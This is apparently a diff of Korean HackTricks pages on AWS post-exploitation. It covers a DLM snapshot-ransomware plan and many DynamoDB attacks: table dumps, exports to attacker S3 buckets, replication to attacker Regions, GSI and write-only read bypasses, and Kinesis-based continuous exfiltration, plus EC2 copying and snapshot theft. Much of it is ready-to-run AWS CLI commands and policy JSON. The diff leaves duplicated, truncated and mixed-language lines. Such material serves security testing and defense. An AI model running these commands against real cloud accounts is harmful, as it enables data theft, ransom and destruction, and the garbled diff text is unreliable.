"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,91 @@
# AWS - DLM Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## Data Lifecycle Manger (DLM)
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
가능한 많은 EBS volumes를 암호화한 다음 현재 EC2 instances, EBS volumes 및 snapshots를 삭제하여 랜섬웨어 공격을 수행할 수 있습니다. 이 악의적 활동을 자동화하기 위해 Amazon DLM을 사용하여 snapshots를 다른 AWS 계정의 KMS key로 암호화하고 암호화된 snapshots를 다른 계정으로 전송할 수 있습니다. 또는 암호화하지 않은 snapshots를 자신이 관리하는 계정으로 전송한 뒤 그곳에서 암호화할 수도 있습니다. 기존 EBS volumes나 snapshots를 직접 암호화하는 것은 간단하지 않지만, 새 volume 또는 snapshot을 생성함으로써 가능하게 할 수 있습니다.
먼저, instance ID, volume ID, encryption status, attachment status, volume type 등 볼륨 정보를 수집하기 위해 다음 명령을 사용합니다.
`aws ec2 describe-volumes`
그다음, lifecycle policy를 생성합니다. 이 명령은 DLM API를 사용하여 지정된 볼륨의 일일 스냅샷을 자동으로 찍고 지정된 시간에 실행되도록 lifecycle policy를 설정합니다. 또한 snapshots에 특정 태그를 적용하고 볼륨에서 snapshots로 태그를 복사합니다. policyDetails.json 파일에는 대상 태그, 스케줄, 암호화용 선택적 KMS key의 ARN 및 snapshot 공유 대상 계정 등 lifecycle policy의 세부사항이 포함되며, 이는 피해자의 CloudTrail 로그에 기록됩니다.
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
정책 문서의 템플릿은 여기에서 볼 수 있습니다:
```bash
{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}
```
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,18 +1,18 @@
# AWS - DynamoDB Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## DynamoDB
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
../../aws-services/aws-dynamodb-enum.md
{{#endref}}
### `dynamodb:BatchGetItem`
이 권한을 가진 공격자는 **기본 키로 테이블에서 항목을 가져올 수 있습니다** (테이블의 모든 데이터를 한 번에 요청할 수는 없습니다). 즉, 기본 키를 알야 합니다(테이블 메타데이터(`describe-table`)를 조회하면 알 수 있습니다).
이 권한을 가진 공격자는 **기본 키로 테이블에서 항목을 가져올 수 있습니다** (테이블의 모든 데이터를 한 번에 요청할 수는 없습니다). 즉, 기본 키를 알고 있어야 합니다(테이블 메타데이터를 가져오면 알 수 있습니다(`describe-table`).).
{{#tabs }}
{{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
{{#endtab }}
{{#endtabs }}
**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 privesc
**Potential Impact:** Indirect privesc — 테이블에서 민감한 정보를 찾아 악용될 수 있음
### `dynamodb:GetItem`
**이전 권한들과 유사하게** 이 권한은 잠재적 공격자가 항목을 조회하기 위한 기본 키(primary key)를 알고 있을 때 단일 테이블의 값을 읽을 수 있게 합니다:
**이전 권한들과 유사하게** 이 권한은 공격자가 특정 항목을 조회하기 위한 기본 키(primary key)를 알고 있을 경우 단 1개의 테이블에서 해당 항목의 값을 읽을 수 있도록 허용한다:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
}
]
```
**잠재적 영향:** 테이블 민감한 정보를 찾아 간접적인 privesc로 이어질 수 있음
**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 privesc를 일으킬 수 있음
### `dynamodb:Query`
**이전 권한들과 유사하게** 이 권한은 공격자가 조회하려는 항목의 primary key(기본 키)가 주어졌을 때 단 하나의 테이블에서 값 읽을 수 있게 해준다. 그것은 [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) 사용할 수 있게 하지만, primary key(반드시 포함되어야 함)에 대해 허용되는 유일한 비교는 "EQ"이므로 요청 하나로 전체 DB를 가져오기 위해 비교 연산을 사용할 수 없다.
**Similar to the previous permissions** 이 권한은 잠재적 공격자가 조회하려는 항목의 기본 키를 알고 있을 때 단 하나의 테이블에서 값 읽을 수 있도록 허용한다. [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) 사용할 수 있지만, 기본 키(반드시 포함되어야 함)에 대해 허용되는 비교는 "EQ"이므로 요청 하나로 전체 데이터베이스를 가져오기 위해 비교 연산을 사용할 수 없다.
{{#tabs }}
{{#tab name="json file" }}
@@ -107,35 +107,35 @@ aws dynamodb query \
{{#endtab }}
{{#endtabs }}
**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접 privesc 가능
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 privesc를 초래할 수 있음
### `dynamodb:Scan`
이 권한을 사용하면 **테이블 전체를 쉽게 dump**할 수 있습니다.
이 권한을 사용하면 **테이블 전체를 쉽게 dump할 수 있습니다**.
```bash
aws dynamodb scan --table-name <t_name> #Get data inside the table
```
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 privesc
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 privesc가 발생할 수 있음
### `dynamodb:PartiQLSelect`
이 권한을 사용하면 **테이블 전체를 쉽게 dump할 수 있습니다**.
이 권한을 사용하면 **dump the entire table easily**.
```bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
이 권한은 `batch-execute-statement`와 같은 작업을 수행할 수 있도록 허용합니다:
이 권한은 또한 다음과 같이 `batch-execute-statement` 수행할 수 있도록 허용합니다:
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
하지만 primary key에 값을 지정해야 해서, 그다지 유용하지 않다.
하지만 기본 키에 값을 지정해야 하므로, 그다지 유용하지 않습니다.
**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 privesc로 이어질 수 있음
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접 privesc를 초래할 수 있습니다.
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
이 권한은 attacker가 **export the whole table to a S3 bucket**할 수 있게 한다:
이 권한은 공격자가 **선택한 S3 버킷으로 테이블 전체를 내보낼 수 있게 합니다:**
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
--export-time <point_in_time> \
--region <region>
```
작업이 동작하려면 테이블에 point-in-time-recovery가 활성화되어 있어야 합니다. 테이블에 해당 기능이 있는지 다음과 같이 확인할 수 있습니다:
것이 작동하려면 테이블에 point-in-time-recovery가 활성화되어 있어야 합니다. 테이블에 그것이 적용되어 있는지 확인하려면:
```bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>
@@ -155,22 +155,22 @@ aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
**잠재적 영향:** 테이블에서 민감한 정보를 찾아내어 간접적인 privesc
**Potential Impact:** 테이블에서 민감한 정보를 찾아내어 간접 privesc
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
이 권한이 있으면 공격자는 **백업에서 새 테이블을 생성**할 수 있습니다 (또는 다른 테이블에 복원하기 위해 백업을 생성할 수도 있습니다). 그런 다음 필요한 권한이 있다면, 그는 백업의 **정보**를 확인할 수 있으며, 그 정보는 **프로덕션 테이블에 더 이상 존재하지 않을 수 있는** 것들일 수 있습니다.
이 권한이 있으면, 공격자는 **백업에서 새 테이블을 생성할 수 있습니다**(또는 심지어 백업을 생성한 뒤 다른 테이블에 복원할 수도 있습니다). 그런 다음 필요한 권한이 있다면, 그는 프로덕션 테이블에 더 이상 존재하지 않을 수 있는 백업의 **정보**를 확인할 수 있습니다.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
```
**잠재적 영향:** 테이블 백업에서 민감한 정보를 찾아 Indirect privesc를 초래할 수 있음
**잠재적 영향:** 테이블 백업에서 민감한 정보를 찾아 간접 privesc을 유발할 수 있음
### `dynamodb:PutItem`
이 권한은 사용자가 **테이블에 새 항목을 추가하거나 기존 항목을 새 항목으로 체**할 수 있도록 허용합니다. 동일한 기본 키를 가진 항목이 이미 존재하면, **해당 항목 전체가 새 항목으로 대체됩니다**. 기본 키가 존재하지 않으면 지정된 기본 키를 가진 새 항목이 **생성됩니다**.
이 권한은 사용자가 테이블에 **새 항목을 추가하거나 기존 항목을 새 항목으로 체**할 수 있합니다. 동일한 기본 키 이미 존재하면, **전체 항목 새 항목으로 대체**됩니다. 기본 키가 존재하지 않으면 지정된 기본 키를 가진 새 항목이 **생성**됩니다.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -202,11 +202,11 @@ aws dynamodb put-item \
{{#endtab }}
{{#endtabs }}
**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되어 추가적인 취약점/우회 악용 수 있음
**Potential Impact:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되어 추가적인 취약점/우회 기법을 악용 수 있음
### `dynamodb:UpdateItem`
이 권한은 사용자 항목의 기존 속성을 **수정하거나 항목에 새로운 속성을 추가하는 것**을 허용합니다. 전체 항목을 **대체하지 않으며**, 지정된 속성만 업데이트합니다. 테이블에 기본 키가 존재하지 않는 경우, 이 작업은 지정된 기본 키로 **새 항목을 생성**하고 업데이트 표현식에 지정된 속성을 설정합니다.
이 권한은 사용자에게 항목의 기존 속성을 **수정하거나 항목에 새 속성을 추가**할 수 있게 해줍니다. 이는 전체 항목을 **대체하지 않으며** 지정된 속성만 업데이트합니다. 테이블에 기본 키가 존재하지 않으면, 이 작업은 지정된 기본 키로 **새 항목을 생성**하고 업데이트 표현식에 지정된 속성을 설정합니다.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -242,11 +242,11 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되 추가적인 vulnerabilities/bypasses를 악용할 수 있다
**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되 추가적인 취약점/우회 기법을 악용할 수 있습니
### `dynamodb:DeleteTable`
이 권한을 가진 공격자는 **DynamoDB 테이블을 삭제하여 데이터 손실을 초래할 수 있다**
이 권한을 가진 공격자는 **DynamoDB 테이블을 삭제하여 데이터 손실을 초래할 수 있습니다**.
```bash
aws dynamodb delete-table \
--table-name TargetTable \
@@ -256,29 +256,29 @@ aws dynamodb delete-table \
### `dynamodb:DeleteBackup`
이 권한을 가진 공격자는 **DynamoDB 백업을 삭제하여 재해 복구 시나리오에서 데이터 손실을 초래할 수 있습니다**.
이 권한을 가진 공격자는 **DynamoDB 백업을 삭제하여 재해 복구 상황에서 데이터 손실을 초래할 수 있습니다**.
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
```
**잠재적 영향**: 재해 복구 시나리오에서 백업으로부터 복구할 수 없어 데이터 손실이 발생할 수 있습니다.
**Potential impact**: 재해 복구 시나리오에서 데이터 손실 및 백업으로부터 복구할 수 없.
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
> TODO: 실제로 작동하는지 테스트 필요
이 권한을 가진 공격자는 **DynamoDB 테이블에서 스트림을 활성화하고, 테이블을 업데이트해 변경사항 스트리밍을 시작한 다음 스트림에 접근하여 테이블 변경사항을 실시간으로 모니터링할 수 있습니다**. 이를 통해 공격자 데이터 변경사항을 모니터링하고 exfiltrate할 수 있며, 잠재적으로 data leakage로 이어질 수 있습니다.
이 권한을 가진 공격자는 **DynamoDB 테이블에서 stream을 활성화하고, 테이블을 업데이트해 변경사항 스트리밍을 시작한 뒤 stream에 접근하여 테이블 변경사항을 실시간으로 모니터링할 수 있습니다**. 이 공격자 데이터 변경사항을 모니터링하고 exfiltrate할 수 있게 하며, 잠재적으로 data leakage로 이어질 수 있습니다.
1. DynamoDB 테이블에서 스트림 활성화:
1. DynamoDB 테이블에서 stream을 활성화:
```bash
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
```
2. ARN 및 기타 세부 정보를 얻기 위 스트림을 설명합니다:
2. ARN 및 기타 세부 정보를 얻기 위 스트림을 설명하세요:
```bash
aws dynamodb describe-stream \
--table-name TargetTable \
@@ -292,20 +292,20 @@ aws dynamodbstreams get-shard-iterator \
--shard-iterator-type LATEST \
--region <region>
```
4. shard iterator를 사용하여 stream에서 데이터에 접근하고 exfiltrate합니다:
4. shard iterator를 사용하여 stream 데이터에 접근하고 exfiltrate합니다:
```bash
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
```
**잠재적 영향**: DynamoDB 테이블 변경 사항의 실시간 모니터링 및 data leakage.
**잠재적 영향**: DynamoDB 테이블 변경의 실시간 모니터링 및 data leakage.
### `dynamodb:UpdateItem` `ReturnValues=ALL_OLD`로 항목 읽기
### `dynamodb:UpdateItem` `ReturnValues=ALL_OLD`로 항목 읽기
테이블에 대해 `dynamodb:UpdateItem` 권한만 있는 공격자는 사소한 업데이트를 수행하고 `--return-values ALL_OLD`를 요청함으로써 일반적인 읽기 권한(`GetItem`/`Query`/`Scan`) 없이 항목을 읽을 수 있습니다. DynamoDB는 응답의 `Attributes` 필드에 항목의 업데이트 전 전체 이미지를 반환합니다(이는 RCUs를 소모하지 않습니다).
테이블에 대해 `dynamodb:UpdateItem` 권한만 있는 공격자는 무해한 업데이트를 수행하고 `--return-values ALL_OLD`를 요청함으로써 일반적인 읽기 권한(`GetItem`/`Query`/`Scan`) 없이 항목을 읽을 수 있습니다. DynamoDB는 응답의 `Attributes` 필드에 항목의 업데이트 전 전체 이미지를 반환합니다(이는 RCUs를 소모하지 않습니다).
- 최소 권한: 대상 테이블/키에 대한 `dynamodb:UpdateItem`.
- 전제 조건: 항목의 기본 키를 알고 있어야 합니다.
- 전제 조건: 항목의 기본 키를 알야 합니다.
Example (adds a harmless attribute and exfiltrates the previous item in the response):
```bash
@@ -318,14 +318,14 @@ aws dynamodb update-item \
--return-values ALL_OLD \
--region <region>
```
CLI 응답에는 전체 이전 항목(모든 attributes)을 포함하는 `Attributes` 블록이 포함되며, 이로 인해 write-only access로부터 사실상 read primitive를 획득할 수 있습니다.
The CLI response will include an `Attributes` block containing the complete previous item (all attributes), effectively providing a read primitive from write-only access.
**잠재적 영향:** 쓰기 권한만으로 테이블에서 임의 항목을 읽을 수 있으며, primary keys가 알려진 경우 민감한 데이터의 exfiltration이 가능해집니다.
**잠재적 영향:** 쓰기 권한만으로 테이블 임의 항목을 읽을 수 있어, 기본 키가 알려진 경우 민감한 데이터 유출을 가능하게 한다.
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
로운 리플리카 Region을 DynamoDB Global Table (version 2019.11.21)에 추가하여 은밀하게 exfiltration을 수행할 수 있습니다. principal 리전 리플리카를 추가할 수 있다면, 전체 테이블이 공격자가 선택한 Region으로 복제되어 공격자는 해당 Region에서 모든 항목을 읽을 수 있습니다.
복제 리전(replica Region)을 DynamoDB Global Table (version 2019.11.21)에 추가하여 은밀하게 데이터 유출을 수행할 수 있다. 만약 주체(principal)가 리전 복제본을 추가할 수 있다면, 전체 테이블이 공격자가 선택한 리전으로 복제되어 공격자는 해당 리전에서 모든 항목을 읽을 수 있다.
{{#tabs }}
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +354,13 @@ aws dynamodb update-table \
{{#endtab }}
{{#endtabs }}
권한: `dynamodb:UpdateTable` (with `replica-updates`) 또는 대상 테이블에 대한 `dynamodb:CreateTableReplica`. 복제본에 CMK 사용는 경우 해당 키에 대한 KMS 권한이 필요할 수 있습니다.
권한: `dynamodb:UpdateTable` (with `replica-updates`) 또는 대상 테이블에 대한 `dynamodb:CreateTableReplica`. 복제본에 CMK 사용는 경우 해당 키에 대한 KMS 권한이 필요할 수 있습니다.
잠재적 영향: 전체 테이블이 attacker-controlled Region으로 복제되어 stealthy data exfiltration로 이어질 수 있습니다.
잠재적 영향: 공격자 제어 리전으로의 전체 테이블 복제가 발생하여 은밀한 데이터 유출로 이어질 수 있.
### `dynamodb:TransactWriteItems` (실패한 조건을 통한 읽기 + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
트랜잭셔널 쓰기 권한을 가진 attacker`TransactWriteItems` 내부에서 `Update`를 수행하고 의도적으로 `ConditionExpression` 실패시키며 `ReturnValuesOnConditionCheckFailure=ALL_OLD`를 설정함으로써 기존 항목의 전체 속성을 exfiltrate할 수 있습니다. 실패 시, DynamoDB는 트랜잭션 취소 사유에 이전 속성을 포함하므로, 특정 키에 대한 쓰기 전용 액세스를 사실상 읽기 액세스로 전환합니다.
트랜잭 쓰기 권한을 가진 공격자`TransactWriteItems` 내부에서 의도적으로 `ConditionExpression` 실패하도록 하는 `Update`를 수행하고 `ReturnValuesOnConditionCheckFailure=ALL_OLD`를 설정함으로써 기존 항목의 전체 속성을 유출할 수 있습니다. 실패 시, DynamoDB는 트랜잭션 취소 사유에 이전 속성을 포함시켜 특정 키에 대한 쓰기 전용 접근을 사실상 읽기 접근으로 바꿉니다.
{{#tabs }}
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -409,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item'])
{{#endtab }}
{{#endtabs }}
Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
권한: `dynamodb:TransactWriteItems` on the target table (and the underlying item). 읽기 권한은 필요하지 않습니다.
Potential Impact: 반환된 취소 이유를 통해 트랜잭션 쓰기 권한만으로 테이블 임의 항목(기본 키)을 읽을 수 있.
잠재적 영향: 반환된 취소 이유를 통해 트랜잭션 쓰기 권한만으로 테이블에서 임의 항목(기본 키 기준)을 읽을 수 있습니다.
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
엔트로피 속성에 `ProjectionType=ALL` Global Secondary Index (GSI)를 생성하고, 해당 속성 값을 모든 항목에 대해 상수로 설정한 다음 인덱스를 `Query`하여 전체 항목을 가져오 읽기 제한을 우회할 수 있다. 이 방법은 기본 테이블에 대한 `Query`/`Scan`이 거부되더라도 인덱스 ARN을 쿼리할 수 있작동한다.
낮은 엔트로피 속성에 `ProjectionType=ALL` Global Secondary Index (GSI)를 생성하고, 해당 속성을 항목들 전체에 걸쳐 상수 값으로 설정한 후, 인덱스를 `Query`하여 전체 항목을 가져오는 방식으로 읽기 제한을 우회합니다. 기본 테이블에 `Query`/`Scan`이 거부되더라도 인덱스 ARN을 쿼리할 수 있이 방법은 동작합니다.
- Minimum permissions:
- `dynamodb:UpdateTable` on the target table (`ProjectionType=ALL` GSI를 생성하기 위해).
- `dynamodb:UpdateItem` on the target table keys (각 항목에 인덱된 속성을 설정하기 위해).
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
- 최소 권한:
- `dynamodb:UpdateTable` on the target table (GSI를 `ProjectionType=ALL`로 생성하기 위해).
- `dynamodb:UpdateItem` on the target table keys (각 항목에 인덱된 속성을 설정하기 위해).
- 인덱스 리소스 ARN에 대한 `dynamodb:Query` (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
Steps (PoC in us-east-1):
단계 (PoC in us-east-1):
```bash
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
```
**Potential Impact:** 기본 테이블 읽기 API가 거부된 경우에도, 모든 속성을 프로젝션하는 새로 생성된 GSI를 쿼리하여 Full table exfiltration이 발생할 수 있음.
**Potential Impact:** 새로 생성된 GSI가 모든 속성을 프로젝션(projects)하도록 설정된 경우, base table read APIs가 거부되더라도 해당 GSI를 쿼리해 전체 테이블을 exfiltration할 수 있음.
### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams를 통한 지속적인 exfiltration)
DynamoDB Kinesis streaming destinations를 악용하여 테이블의 변경 사항을 공격자가 제어하는 Kinesis Data Stream으로 지속적으로 exfiltrate함. 일단 활성화되면, 모든 INSERT/MODIFY/REMOVE 이벤트가 테이블에 대한 읽기 권한 없이 거의 실시간으로 스트림으로 전달.
DynamoDB Kinesis streaming destinations를 악용하여 테이블의 변경 사항을 공격자 소유의 Kinesis Data Stream으로 지속적으로 exfiltrate합니다. 활성화되면 모든 INSERT/MODIFY/REMOVE 이벤트가 테이블에 대한 읽기 권한 없이 거의 실시간으로 해당 스트림으로 전달됩니다.
Minimum permissions (attacker):
- `dynamodb:EnableKinesisStreamingDestination` on the target table
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
최소 권한 (공격자):
- 대상 테이블에 대한 `dynamodb:EnableKinesisStreamingDestination`
- 상태 모니터링을 위해 선택적으로 `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`
- 레코드를 소비하기 위한 공격자 소유의 Kinesis 스트림에 대한 읽기 권한: `kinesis:*`
<details>
<summary>PoC (us-east-1)</summary>
@@ -530,8 +530,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
```
</details>
**잠재적 영향:** 테이블 변경 사항을 공격자가 제어하는 Kinesis 스트림으로 직접 테이블 읽기 작업 없이 지속적이고 거의 실시간으로 exfiltration할 수 있습니다.
**Potential Impact:** 테이블에 대한 직접적인 읽기 작업 없이 공격자가 제어하는 Kinesis 스트림으로 테이블 변경사항을 지속적이고 거의 실시간으로 exfiltration할 수 있.
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,26 +4,27 @@
## EC2 & VPC
자세한 정보는 다음을 확인하세요:
자세한 내용은 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### **악의적인 VPC 미러 -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
VPC 트래픽 미러링은 **VPC 내 EC2 인스턴스에 대한 수신 및 발신 트래픽을 복제**하며, 인스턴스 자체에 아무것도 설치할 필요가 없습니다. 이 복제된 트래픽은 일반적으로 분석 및 모니터링을 위해 네트워크 침입 탐지 시스템(IDS)과 같은 곳으로 전송됩니다.\
공격자는 이를 악용하여 모든 트래픽을 캡처하고 민감한 정보를 얻을 수 있습니다:
VPC traffic mirroring는 **VPC 내 EC2 인스턴스의 인바운드 및 아웃바운드 트래픽을 중복 복사**하며, 인스턴스 자체에 아무것도 설치할 필요가 없습니다.\
이 복제된 트래픽은 일반적으로 분석 및 모니터링을 위해 network intrusion detection system (IDS)와 같은 곳으로 전송됩니다.\
공격자는 이를 악용하여 모든 트래픽을 가로채고 민감한 정보를 획득할 수 있습니다:
자세한 정보는 이 페이지를 확인하세요:
자세한 내용은 이 페이지를 확인하세요:
{{#ref}}
aws-malicious-vpc-mirror.md
{{#endref}}
### 실행 중인 인스턴스 복사
### Copy Running Instance
인스턴스는 일반적으로 어떤 형태의 민감한 정보 포함하고 있습니다. 내부 접근하는 방법은 여러 가지가 있습니다( [EC2 권한 상승 트릭](../../aws-privilege-escalation/aws-ec2-privesc.md) 확인). 그러나 그것이 무엇을 포함하고 있는지 확인하는 또 다른 방법은 **AMI를 생성하고 이를 기반으로 새 인스턴스를 실행하는 것입니다(자신의 계정에서도 가능)**:
인스턴스보통 민감한 정보 포함되어 있습니다. 내부 접근하는 방법은 여러 가지가 있습니다 (자세한 내용은 [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md) 참조). 하지만, 그 내용물을 확인하는 또 다른 방법은 **AMI를 생성하고 해당 AMI로부터 새 인스턴스(심지어 자신의 계정에서도)를 실행하는 것**입니다:
```shell
# List instances
aws ec2 describe-images
@@ -47,111 +48,176 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
```
### EBS 스냅샷 덤프
### EBS Snapshot dump
**스냅샷은 볼륨의 백업**으로, 일반적으로 **민감한 정보**를 포함하고 있으므로 이를 확인하면 정보를 공개할 수 있습니다.\
**스냅샷이 없는 볼륨**을 발견하면 다음과 같은 작업을 수행할 수 있습니다: **스냅샷 생성** 다음 작업 수행 또는 **계정 내 인스턴스에 마운트**하기:
**Snapshots are backups of volumes**는 보통 **민감한 정보**를 포함하므로, 이를 확인하면 해당 정보가 드러납니다.
계정에서 **volume without a snapshot**를 찾으면, **Create a snapshot**을 생성해 다음 작업 수행하거나 단순히 계정 내에서 **mount it in an instance** 하세요:
{{#ref}}
aws-ebs-snapshot-dump.md
{{#endref}}
### 데이터 유출
### Covert Disk Exfiltration via AMI Store-to-S3
#### DNS 유출
`CreateStoreImageTask`를 사용해 EC2 AMI를 S3로 직접 export하여 snapshot sharing 없이 raw disk image를 획득할 수 있습니다. 이렇게 하면 instance의 네트워킹을 건드리지 않고 전체 오프라인 포렌식이나 데이터 탈취가 가능합니다.
EC2의 트래픽을 차단하더라도 여전히 **DNS를 통해 유출**될 수 있습니다.
{{#ref}}
aws-ami-store-s3-exfiltration.md
{{#endref}}
- **VPC 흐름 로그는 이를 기록하지 않습니다**.
- AWS DNS 로그에 접근할 수 없습니다.
- 다음과 같이 "enableDnsSupport"를 false로 설정하여 비활성화합니다:
### Live Data Theft via EBS Multi-Attach
io1/io2 Multi-Attach volume을 두 번째 instance에 연결하고 읽기 전용으로 mount하여 snapshot 없이 실시간 데이터를 흡수할 수 있습니다. 피해자의 volume이 동일 AZ 내에서 이미 Multi-Attach가 활성화되어 있을 때 유용합니다.
{{#ref}}
aws-ebs-multi-attach-data-theft.md
{{#endref}}
### EC2 Instance Connect Endpoint Backdoor
EC2 Instance Connect Endpoint를 생성하고 ingress를 승인한 뒤 ephemeral SSH keys를 주입하여 managed tunnel을 통해 private instances에 접근합니다. 공개 포트를 열지 않고도 빠르게 lateral movement 경로를 확보할 수 있습니다.
{{#ref}}
